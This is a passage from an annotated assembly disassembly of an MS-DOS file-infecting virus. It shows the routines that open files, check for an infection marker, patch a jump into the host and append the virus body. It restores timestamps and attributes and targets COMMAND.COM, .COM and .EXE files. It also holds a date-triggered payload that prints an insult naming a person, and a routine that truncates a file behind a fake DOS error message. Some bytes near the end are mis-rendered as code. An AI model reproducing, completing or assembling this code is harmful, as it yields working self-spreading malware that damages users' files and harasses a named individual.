  553.                 mov     bx,[bp+53Ch]
  554.                 cmp     bx,0FFFFh
  555.                 je      loc_29                  ; Jump if equal
  556.                 mov     ax,5701h
  557.                 mov     cx,[bp+554h]
  558.                 mov     dx,[bp+556h]
  559.                 int     21h                     ; DOS Services  ah=function 57h
  560.                                                 ;  get/set file date & time
  561.                 mov     ah,3Eh                  ; '>'
  562.                 int     21h                     ; DOS Services  ah=function 3Eh
  563.                                                 ;  close file, bx=file handle
  564.                 mov     bx,0FFFFh
  565.                 mov     [bp+53Ch],bx
  566. loc_29:
  567.                 mov     cl,[bp+553h]
  568.                 call    sub_24                  ; (039C)
  569.                 pop     cx
  570.                 retn
  571. sub_23          endp
  572.   
  573.   
  574. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  575. ;                              SUBROUTINE
  576. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  577.   
  578. sub_24          proc    near
  579.                 mov     ax,4301h
  580.                 xor     ch,ch                   ; Zero register
  581.                 mov     dx,data_22e             ; (8344:055C=0)
  582.                 add     dx,bp
  583.                 int     21h                     ; DOS Services  ah=function 43h
  584.                                                 ;  get/set file attrb, nam@ds:dx
  585.                 retn
  586. sub_24          endp
  587.   
  588.   
  589. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  590. ;                              SUBROUTINE
  591. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  592.   
  593. sub_25          proc    near
  594.                 push    cx
  595.                 mov     dx,data_22e             ; (8344:055C=0)
  596.                 add     dx,bp
  597.                 mov     ax,3D02h
  598.                 int     21h                     ; DOS Services  ah=function 3Dh
  599.                                                 ;  open file, al=mode,name@ds:dx
  600.                 jc      loc_30                  ; Jump if carry Set
  601.                 mov     [bp+53Ch],ax
  602.                 mov     dx,offset ds:[10Bh]     ; (8344:010B=9)
  603.                 add     dx,bp
  604.                 mov     cx,9
  605.                 mov     bx,ax
  606.                 mov     ah,3Fh                  ; '?'
  607.                 int     21h                     ; DOS Services  ah=function 3Fh
  608.                                                 ;  read file, cx=bytes, to ds:dx
  609.                 mov     cx,6
  610.                 mov     si,offset ds:[4EEh]     ; (8344:04EE=0)
  611.                 add     si,bp
  612.                 mov     di,offset data_7        ; (8344:010E=90h)
  613.                 add     di,bp
  614.                 repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  615.                 jnz     loc_31                  ; Jump if not zero
  616.                 stc                             ; Set carry flag
  617. loc_30:
  618.                 pop     cx
  619.                 retn
  620. loc_31:
  621.                 clc                             ; Clear carry flag
  622.                 pop     cx
  623.                 retn
  624. sub_25          endp
  625.   
  626.   
  627. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  628. ;                              SUBROUTINE
  629. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  630.   
  631. sub_26          proc    near
  632.                 mov     di,offset ds:[4ECh]     ; (8344:04EC=0E8h)
  633.                 add     di,bp
  634.                 mov     ax,[bp+558h]
  635.                 sub     ax,3
  636.                 stosw                           ; Store ax to es:[di]
  637.                 mov     ax,4200h
  638.                 mov     bx,[bp+53Ch]
  639.                 xor     cx,cx                   ; Zero register
  640.                 xor     dx,dx                   ; Zero register
  641.                 int     21h                     ; DOS Services  ah=function 42h
  642.                                                 ;  move file ptr, cx,dx=offset
  643.                 mov     ah,40h                  ; '@'
  644.                 mov     cx,9
  645.                 mov     dx,offset data_9        ; (8344:04EB=0)
  646.                 add     dx,bp
  647.                 int     21h                     ; DOS Services  ah=function 40h
  648.                                                 ;  write file cx=bytes, to ds:dx
  649.                 mov     ax,4202h
  650.                 xor     cx,cx                   ; Zero register
  651.                 xor     dx,dx                   ; Zero register
  652.                 int     21h                     ; DOS Services  ah=function 42h
  653.                                                 ;  move file ptr, cx,dx=offset
  654.                 mov     ah,40h                  ; '@'
  655.                 mov     cx,435h
  656.                 mov     dx,offset ds:[109h]     ; (8344:0109=90h)
  657.                 add     dx,bp
  658.                 int     21h                     ; DOS Services  ah=function 40h
  659.                                                 ;  write file cx=bytes, to ds:dx
  660.                 retn
  661. sub_26          endp
  662.   
  663.   
  664. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  665. ;                              SUBROUTINE
  666. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  667.   
  668. sub_27          proc    near
  669.                 mov     ah,2Ah                  ; '*'
  670.                 int     21h                     ; DOS Services  ah=function 2Ah
  671.                                                 ;  get date, cx=year, dx=mon/day
  672.                 test    dl,3
  673.                 jnz     loc_ret_33              ; Jump if not zero
  674.                 mov     ah,2Ch                  ; ','
  675.                 int     21h                     ; DOS Services  ah=function 2Ch
  676.                                                 ;  get time, cx=hrs/min, dh=sec
  677.                 test    dh,3
  678.                 jnz     loc_ret_33              ; Jump if not zero
  679.                 mov     cx,47h
  680.                 mov     si,data_1e              ; (009D:0446=10h)
  681.                 add     si,bp
  682.                 mov     di,si
  683.   
  684. locloop_32:
  685.                 lodsb                           ; String [si] to al
  686.                 sub     al,80h
  687.                 stosb                           ; Store al to es:[di]
  688.                 loop    locloop_32              ; Loop if cx > 0
  689.   
  690.                 mov     ah,9
  691.                 mov     dx,data_1e              ; (009D:0446=10h)
  692.                 add     dx,bp
  693.                 int     21h                     ; DOS Services  ah=function 09h
  694.                                                 ;  display char string at ds:dx
  695.   
  696. loc_ret_33:
  697. data_8          db      'Craig Murphy calls himself SUPER'
  698.                 db      'HACKER but he''s just a talentle'
  699.                 db      'ss Jerk!', 0Dh, 0Ah, '$'
  700.   
  701. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  702.   
  703. sub_28:
  704.                 mov     al,0FFh
  705.                 cmp     al,[bp+4EAh]
  706.                 je      loc_34                  ; Jump if equal
  707.                 retn
  708. loc_34:
  709.                 push    word ptr ds:data_2e     ; (8344:002C=0)
  710.                 pop     es
  711.                 xor     di,di                   ; Zero register
  712.                 mov     al,1
  713. loc_35:
  714.                 scasb                           ; Scan es:[di] for al
  715.                 jnz     loc_35                  ; Jump if not zero
  716.                 inc     di
  717.                 push    es
  718.                 pop     ds
  719.                 mov     dx,di
  720.                 mov     ax,4300h
  721.                 int     21h                     ; DOS Services  ah=function 43h
  722.                                                 ;  get/set file attrb, nam@ds:dx
  723.                 jc      loc_36                  ; Jump if carry Set
  724.                 mov     es,cx
  725.                 mov     ax,4301h
  726.                 xor     cx,cx                   ; Zero register
  727.                 int     21h                     ; DOS Services  ah=function 43h
  728.                                                 ;  get/set file attrb, nam@ds:dx
  729.                 jc      loc_36                  ; Jump if carry Set
  730.                 mov     ah,3Ch                  ; '<'
  731.                 int     21h                     ; DOS Services  ah=function 3Ch
  732.                                                 ;  create/truncate file @ ds:dx
  733.                 push    ds
  734.                 push    dx
  735.                 push    cs
  736.                 pop     ds
  737.                 mov     dx,offset ds:[100h]     ; (8344:0100=0E8h)
  738.                 mov     bx,ax
  739.                 mov     ah,40h                  ; '@'
  740.                 mov     cx,9
  741.                 add     cx,bp
  742.                 int     21h                     ; DOS Services  ah=function 40h
  743.                                                 ;  write file cx=bytes, to ds:dx
  744.                 pop     dx
  745.                 pop     ds
  746.                 mov     cx,es
  747.                 mov     ax,4301h
  748.                 int     21h                     ; DOS Services  ah=function 43h
  749.                                                 ;  get/set file attrb, nam@ds:dx
  750. loc_36:
  751.                 push    cs
  752.                 pop     ds
  753.                 mov     ah,9
  754.                 mov     dx,offset data_15+25h   ; (8344:0521=0)
  755.                 add     dx,bp
  756.                 int     21h                     ; DOS Services  ah=function 09h
  757.                                                 ;  display char string at ds:dx
  758.                 mov     ah,4Ch                  ; 'L'
  759.                 int     21h                     ; DOS Services  ah=function 4Ch
  760.                                                 ;  terminate with al=return code
  761. data_9          db      0
  762. loc_37:
  763.                 call    sub_29                  ; (04F6)
  764.                 dec     bp
  765.                 jnz     $+74h                   ; Jump if not zero
  766.                 jo      $+6Ah                   ; Jump if overflow=1
  767.                 jns     loc_37                  ; Jump if not sign
  768. sub_27          endp
  769.   
  770.   
  771. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  772. ;                              SUBROUTINE
  773. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  774.   
  775. sub_29          proc    near
  776.                 popf                            ; Pop flags
  777.                 add     [bx+si],al
  778.                 add     bl,[si+0]
  779. data_15         db      '*.*', 0
  780.                 db      '\^^^^^^^^', 0
  781.                 db      'COMMAND.COM', 0
  782.                 db      '*.COM', 0
  783.                 db      '*.EXE', 0
  784.                 db      'Bad command or file name', 0Dh, 0Ah
  785.                 db      '$'
  786.                 db      6
  787. data_21         db      0
  788. sub_29          endp
  789.   
  790.   
  791. seg_a           ends
  792.   
  793.   
  794.   
  795.                 end     start
  796.